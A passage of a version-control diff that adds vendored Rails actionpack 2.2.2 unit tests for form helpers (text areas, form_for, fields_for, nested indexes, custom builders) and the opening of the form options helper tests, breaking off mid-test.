+  def test_text_area
+    assert_dom_equal(
+      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_escapes
+    @post.body        = "Back to <i>the</i> hill and over it again!"
+    assert_dom_equal(
+      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>',
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_alternate_value
+    assert_dom_equal(
+      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Testing alternate values.</textarea>',
+      text_area("post", "body", :value => 'Testing alternate values.')
+    )
+  end
+
+  def test_text_area_with_html_entities
+    @post.body        = "The HTML Entity for & is &amp;"
+    assert_dom_equal(
+      '<textarea cols="40" id="post_body" name="post[body]" rows="20">The HTML Entity for &amp; is &amp;amp;</textarea>',
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_area_with_size_option
+    assert_dom_equal(
+      '<textarea cols="183" id="post_body" name="post[body]" rows="820">Back to the hill and over it again!</textarea>',
+      text_area("post", "body", :size => "183x820")
+    )
+  end
+
+  def test_explicit_name
+    assert_dom_equal(
+      '<input id="post_title" name="dont guess" size="30" type="text" value="Hello World" />', text_field("post", "title", "name" => "dont guess")
+    )
+    assert_dom_equal(
+      '<textarea cols="40" id="post_body" name="really!" rows="20">Back to the hill and over it again!</textarea>',
+      text_area("post", "body", "name" => "really!")
+    )
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" /><input name="i mean it" type="hidden" value="0" />',
+      check_box("post", "secret", "name" => "i mean it")
+    )
+    assert_dom_equal text_field("post", "title", "name" => "dont guess"),
+                 text_field("post", "title", :name => "dont guess")
+    assert_dom_equal text_area("post", "body", "name" => "really!"),
+                 text_area("post", "body", :name => "really!")
+    assert_dom_equal check_box("post", "secret", "name" => "i mean it"),
+                 check_box("post", "secret", :name => "i mean it")
+  end
+
+  def test_explicit_id
+    assert_dom_equal(
+      '<input id="dont guess" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title", "id" => "dont guess")
+    )
+    assert_dom_equal(
+      '<textarea cols="40" id="really!" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
+      text_area("post", "body", "id" => "really!")
+    )
+    assert_dom_equal(
+      '<input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret", "id" => "i mean it")
+    )
+    assert_dom_equal text_field("post", "title", "id" => "dont guess"),
+                 text_field("post", "title", :id => "dont guess")
+    assert_dom_equal text_area("post", "body", "id" => "really!"),
+                 text_area("post", "body", :id => "really!")
+    assert_dom_equal check_box("post", "secret", "id" => "i mean it"),
+                 check_box("post", "secret", :id => "i mean it")
+  end
+
+  def test_auto_index
+    pid = @post.id
+    assert_dom_equal(
+      "<label for=\"post_#{pid}_title\">Title</label>",
+      label("post[]", "title")
+    )
+    assert_dom_equal(
+      "<input id=\"post_#{pid}_title\" name=\"post[#{pid}][title]\" size=\"30\" type=\"text\" value=\"Hello World\" />", text_field("post[]","title")
+    )
+    assert_dom_equal(
+      "<textarea cols=\"40\" id=\"post_#{pid}_body\" name=\"post[#{pid}][body]\" rows=\"20\">Back to the hill and over it again!</textarea>",
+      text_area("post[]", "body")
+    )
+    assert_dom_equal(
+      "<input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" /><input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" />",
+      check_box("post[]", "secret")
+    )
+   assert_dom_equal(
+"<input checked=\"checked\" id=\"post_#{pid}_title_hello_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />",
+      radio_button("post[]", "title", "Hello World")
+    )
+    assert_dom_equal("<input id=\"post_#{pid}_title_goodbye_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Goodbye World\" />",
+      radio_button("post[]", "title", "Goodbye World")
+    )
+  end
+
+  def test_form_for
+    form_for(:post, @post, :html => { :id => 'create-post' }) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+      concat f.submit('Create post')
+    end
+
+    expected =
+      "<form action='http://www.example.com' id='create-post' method='post'>" +
+      "<label for='post_title'>Title</label>" +
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='commit' id='post_submit' type='submit' value='Create post' />" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_method
+    form_for(:post, @post, :html => { :id => 'create-post', :method => :put }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<form action='http://www.example.com' id='create-post' method='post'>" +
+      "<div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div>" +
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_without_object
+    form_for(:post, :html => { :id => 'create-post' }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<form action='http://www.example.com' id='create-post' method='post'>" +
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_index
+    form_for("post[]", @post) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<form action='http://www.example.com' method='post'>" +
+      "<label for=\"post_123_title\">Title</label>" +
+      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
+      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
+      "<input name='post[123][secret]' type='hidden' value='0' />" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_nil_index_option_override
+    form_for("post[]", @post, :index => nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<form action='http://www.example.com' method='post'>" +
+      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
+      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
+      "<input name='post[][secret]' type='hidden' value='0' />" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for
+    form_for(:post, @post) do |f|
+      f.fields_for(:comment, @post) do |c|
+        concat c.text_field(:title)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[comment][title]' size='30' type='text' id='post_comment_title' value='Hello World' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_nested_collections
+    form_for('post[]', @post) do |f|
+      concat f.text_field(:title)
+      f.fields_for('comment[]', @comment) do |c|
+        concat c.text_field(:name)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
+               "<input name='post[123][comment][][name]' size='30' type='text' id='post_123_comment__name' value='new comment' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index
+    form_for('post', @post, :index => 1) do |c|
+      concat c.text_field(:title)
+      c.fields_for('comment', @comment, :index => 1) do |r|
+        concat r.text_field(:name)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[1][title]' size='30' type='text' id='post_1_title' value='Hello World' />" +
+               "<input name='post[1][comment][1][name]' size='30' type='text' id='post_1_comment_1_name' value='new comment' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index
+    form_for(:post, @post, :index => 1) do |f|
+      f.fields_for(:comment, @post) do |c|
+        concat c.text_field(:title)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[1][comment][title]' size='30' type='text' id='post_1_comment_title' value='Hello World' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_on_both
+    form_for(:post, @post, :index => 1) do |f|
+      f.fields_for(:comment, @post, :index => 5) do |c|
+        concat c.text_field(:title)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[1][comment][5][title]' size='30' type='text' id='post_1_comment_5_title' value='Hello World' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_auto_index
+    form_for("post[]", @post) do |f|
+      f.fields_for(:comment, @post) do |c|
+        concat c.text_field(:title)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[123][comment][title]' size='30' type='text' id='post_123_comment_title' value='Hello World' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_auto_index_on_both
+    form_for("post[]", @post) do |f|
+      f.fields_for("comment[]", @post) do |c|
+        concat c.text_field(:title)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[123][comment][123][title]' size='30' type='text' id='post_123_comment_123_title' value='Hello World' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_and_auto_index
+    form_for("post[]", @post) do |f|
+      f.fields_for(:comment, @post, :index => 5) do |c|
+        concat c.text_field(:title)
+      end
+    end
+
+    form_for(:post, @post, :index => 1) do |f|
+      f.fields_for("comment[]", @post) do |c|
+        concat c.text_field(:title)
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[123][comment][5][title]' size='30' type='text' id='post_123_comment_5_title' value='Hello World' />" +
+               "</form>" +
+               "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[1][comment][123][title]' size='30' type='text' id='post_1_comment_123_title' value='Hello World' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for
+    fields_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_index
+    fields_for("post[]", @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
+      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
+      "<input name='post[123][secret]' type='hidden' value='0' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_nil_index_option_override
+    fields_for("post[]", @post, :index => nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
+      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
+      "<input name='post[][secret]' type='hidden' value='0' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_index_option_override
+    fields_for("post[]", @post, :index => "abc") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[abc][title]' size='30' type='text' id='post_abc_title' value='Hello World' />" +
+      "<textarea name='post[abc][body]' id='post_abc_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />" +
+      "<input name='post[abc][secret]' type='hidden' value='0' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_without_object
+    fields_for(:post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_only_object
+    fields_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_object_with_bracketed_name
+    fields_for("author[post]", @post) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
+    "<input name='author[post][title]' size='30' type='text' id='author_post_title' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_fields_for_object_with_bracketed_name_and_index
+    fields_for("author[post]", @post, :index => 1) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
+      "<input name='author[post][1][title]' size='30' type='text' id='author_post_1_title' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_form_builder_does_not_have_form_for_method
+    assert ! ActionView::Helpers::FormBuilder.instance_methods.include?('form_for')
+  end
+
+  def test_form_for_and_fields_for
+    form_for(:post, @post, :html => { :id => 'create-post' }) do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      fields_for(:parent_post, @post) do |parent_fields|
+        concat parent_fields.check_box(:secret)
+      end
+    end
+
+    expected =
+      "<form action='http://www.example.com' id='create-post' method='post'>" +
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />" +
+      "<input name='parent_post[secret]' type='hidden' value='0' />" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_and_fields_for_with_object
+    form_for(:post, @post, :html => { :id => 'create-post' }) do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      post_form.fields_for(@comment) do |comment_fields|
+        concat comment_fields.text_field(:name)
+      end
+    end
+
+    expected =
+      "<form action='http://www.example.com' id='create-post' method='post'>" +
+      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' size='30' />" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  class LabelledFormBuilder < ActionView::Helpers::FormBuilder
+    (field_helpers - %w(hidden_field)).each do |selector|
+      src = <<-END_SRC
+        def #{selector}(field, *args, &proc)
+          "<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>"
+        end
+      END_SRC
+      class_eval src, __FILE__, __LINE__
+    end
+  end
+
+  def test_form_for_with_labelled_builder
+    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<form action='http://www.example.com' method='post'>" +
+      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, LabelledFormBuilder
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<form action='http://www.example.com' method='post'>" +
+      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+      "</form>"
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
+  end
+
+  def test_default_form_builder_with_active_record_helpers
+    form_for(:post, @post) do |f|
+       concat f.error_message_on('author_name')
+       concat f.error_messages
+    end
+
+    expected = %(<form action='http://www.example.com' method='post'>) +
+               %(<div class='formError'>can't be empty</div>) +
+               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
+               %(</form>)
+
+    assert_dom_equal expected, output_buffer
+
+  end
+
+  def test_default_form_builder_no_instance_variable
+    post = @post
+    @post = nil
+
+    form_for(:post, post) do |f|
+       concat f.error_message_on('author_name')
+       concat f.error_messages
+    end
+
+    expected = %(<form action='http://www.example.com' method='post'>) +
+               %(<div class='formError'>can't be empty</div>) +
+               %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>) +
+               %(</form>)
+
+    assert_dom_equal expected, output_buffer
+
+  end
+
+  # Perhaps this test should be moved to prototype helper tests.
+  def test_remote_form_for_with_labelled_builder
+    self.extend ActionView::Helpers::PrototypeHelper
+
+     remote_form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+       concat f.text_field(:title)
+       concat f.text_area(:body)
+       concat f.check_box(:secret)
+     end
+
+     expected =
+       %(<form action="http://www.example.com" onsubmit="new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" method="post">) +
+       "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
+       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
+       "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+       "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+       "</form>"
+
+     assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_labelled_builder
+    fields_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+      "<input name='post[secret]' type='hidden' value='0' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_html_options_adds_options_to_form_tag
+    form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
+    expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\"></form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_string_url_option
+    form_for(:post, @post, :url => 'http://www.otherdomain.com') do |f| end
+
+    assert_equal '<form action="http://www.otherdomain.com" method="post"></form>', output_buffer
+  end
+
+  def test_form_for_with_hash_url_option
+    form_for(:post, @post, :url => {:controller => 'controller', :action => 'action'}) do |f| end
+
+    assert_equal 'controller', @controller.url_for_options[:controller]
+    assert_equal 'action', @controller.url_for_options[:action]
+  end
+
+  def test_form_for_with_record_url_option
+    form_for(:post, @post, :url => @post) do |f| end
+
+    expected = "<form action=\"/posts/123\" method=\"post\"></form>"
+    assert_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object
+    form_for(@post) do |f| end
+
+    expected = "<form action=\"/posts/123\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
+    assert_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object
+    post = Post.new
+    post.new_record = true
+    def post.id() nil end
+
+    form_for(post) do |f| end
+
+    expected = "<form action=\"/posts\" class=\"new_post\" id=\"new_post\" method=\"post\"></form>"
+    assert_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_in_list
+    @post.new_record = false
+    @comment.save
+
+    form_for([@post, @comment]) {}
+
+    expected = %(<form action="#{comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0"><input name="_method" type="hidden" value="put" /></div></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object_in_list
+    @post.new_record = false
+
+    form_for([@post, @comment]) {}
+
+    expected = %(<form action="#{comments_path(@post)}" class="new_comment" id="new_comment" method="post"></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_and_namespace_in_list
+    @post.new_record = false
+    @comment.save
+
+    form_for([:admin, @post, @comment]) {}
+
+    expected = %(<form action="#{admin_comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0"><input name="_method" type="hidden" value="put" /></div></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object_and_namespace_in_list
+    @post.new_record = false
+
+    form_for([:admin, @post, @comment]) {}
+
+    expected = %(<form action="#{admin_comments_path(@post)}" class="new_comment" id="new_comment" method="post"></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_and_custom_url
+    form_for(@post, :url => "/super_posts") do |f| end
+
+    expected = "<form action=\"/super_posts\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
+    assert_equal expected, output_buffer
+  end
+
+  def test_remote_form_for_with_html_options_adds_options_to_form_tag
+    self.extend ActionView::Helpers::PrototypeHelper
+
+    remote_form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
+    expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\" onsubmit=\"new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\"></form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  protected
+    def comments_path(post)
+      "/posts/#{post.id}/comments"
+    end
+    alias_method :post_comments_path, :comments_path
+
+    def comment_path(post, comment)
+      "/posts/#{post.id}/comments/#{comment.id}"
+    end
+    alias_method :post_comment_path, :comment_path
+
+    def admin_comments_path(post)
+      "/admin/posts/#{post.id}/comments"
+    end
+    alias_method :admin_post_comments_path, :admin_comments_path
+
+    def admin_comment_path(post, comment)
+      "/admin/posts/#{post.id}/comments/#{comment.id}"
+    end
+    alias_method :admin_post_comment_path, :admin_comment_path
+
+    def posts_path
+      "/posts"
+    end
+
+    def post_path(post)
+      "/posts/#{post.id}"
+    end
+
+    def protect_against_forgery?
+      false
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_options_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_options_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_options_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,685 @@
+require 'abstract_unit'
+
+TZInfo::Timezone.cattr_reader :loaded_zones
+
+uses_mocha "FormOptionsHelperTest" do
+  class FormOptionsHelperTest < ActionView::TestCase
+    tests ActionView::Helpers::FormOptionsHelper
+
+    silence_warnings do
+      Post        = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin)
+      Continent   = Struct.new('Continent', :continent_name, :countries)
+      Country     = Struct.new('Country', :country_id, :country_name)
+      Firm        = Struct.new('Firm', :time_zone)
+      Album       = Struct.new('Album', :id, :title, :genre)
+    end
+
+    def setup
+      @fake_timezones = %w(A B C D E).inject([]) do |zones, id|
+        tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
+        ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
+        zones << tz
+      end
+      ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
+    end
+
+    def test_collection_options
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      assert_dom_equal(
+        "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+        options_from_collection_for_select(@posts, "author_name", "title")
+      )
+    end
+
+
+    def test_collection_options_with_preselected_value
+      @posts = [
+        Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+      ]
+
+      assert_dom_equal(
+        "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+        options_from_collection_for_select(@posts, "author_name", "title", "Babe")
+      )
+    end
+
+    def test_collection_options_with_preselected_value_array
+        @posts = [
+          Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+          Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+          Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
+        ]
+
+        assert_dom_equal(
+          "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+          options_from_collection_for_select(@posts, "author_name", "title", [ "Babe", "Cabe" ])
+        )
+    end
+
+    def test_array_options_for_select
+      assert_dom_equal(
+        "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+        options_for_select([ "<Denmark>", "USA", "Sweden" ])
+      )
+    end
+
+    def test_array_options_for_select_with_selection
+      assert_dom_equal(
+        "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+        options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+      )
+    end
+
+    def test_array_options_for_select_with_selection_array
+        assert_dom_equal(
+          "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+          options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
+        )
+    end
+
+    def test_array_options_for_string_include_in_other_string_bug_fix
+        assert_dom_equal(
+          "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
+          options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
+        )
+        assert_dom_equal(
